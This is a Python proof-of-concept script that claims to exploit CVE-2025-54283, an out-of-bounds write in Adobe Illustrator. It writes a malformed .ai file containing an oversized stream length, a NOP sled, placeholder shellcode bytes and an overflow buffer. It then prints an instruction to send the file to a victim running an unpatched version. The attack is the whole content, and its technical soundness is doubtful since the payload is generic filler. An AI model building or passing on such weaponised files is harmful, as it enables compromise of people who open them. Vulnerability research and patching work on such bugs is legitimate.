CVE-2025-54283

# CVE-2025-54283 PoC - Adobe Illustrator Out-of-Bounds Write # This PoC demonstrates the concept of crafting a malicious Illustrator file # that triggers an out-of-bounds write vulnerability. import struct import os def create_malicious_ai_file(output_path): """ Create a malformed Adobe Illustrator (.ai) file that triggers an out-of-bounds write vulnerability (CVE-2025-54283). The vulnerability exists in the file parsing logic when processing certain object/path data structures without proper bounds checking. """ # AI file header (simplified PDF-based format) header = b"%PDF-1.5\n" # Craft a malicious object with oversized path data # This triggers the out-of-bounds write in the parser malicious_obj = b"" malicious_obj += b"1 0 obj\n" malicious_obj += b"<< /Type /XObject /Subtype /Form /BBox [0 0 612 792]" malicious_obj += b" /Length 999999" # Oversized length to trigger OOB write malicious_obj += b" /Resources << >> >>\n" malicious_obj += b"stream\n" # Inject shellcode payload (NOP sled + shellcode) # In real exploit, this would contain actual shellcode nop_sled = b"\x90" * 512 # NOP sled shellcode_placeholder = b"\x41" * 256 # Placeholder for shellcode malicious_obj += nop_sled malicious_obj += shellcode_placeholder # Overflow data to trigger out-of-bounds write overflow = b"\x41" * 4096 # Buffer overflow payload malicious_obj += overflow malicious_obj += b"\nendstream\n" malicious_obj += b"endobj\n" # Write the malicious file with open(output_path, 'wb') as f: f.write(header) f.write(malicious_obj) print(f"[+] Malicious AI file created: {output_path}") print(f"[!] Send this file to a victim using Adobe Illustrator < 29.7.1 / < 28.7.10") if __name__ == "__main__": output = "exploit_cve_2025_54283.ai" create_malicious_ai_file(output) print(f"[+] File size: {os.path.getsize(output)} bytes") print("[!] WARNING: This is for educational/research purposes only.")

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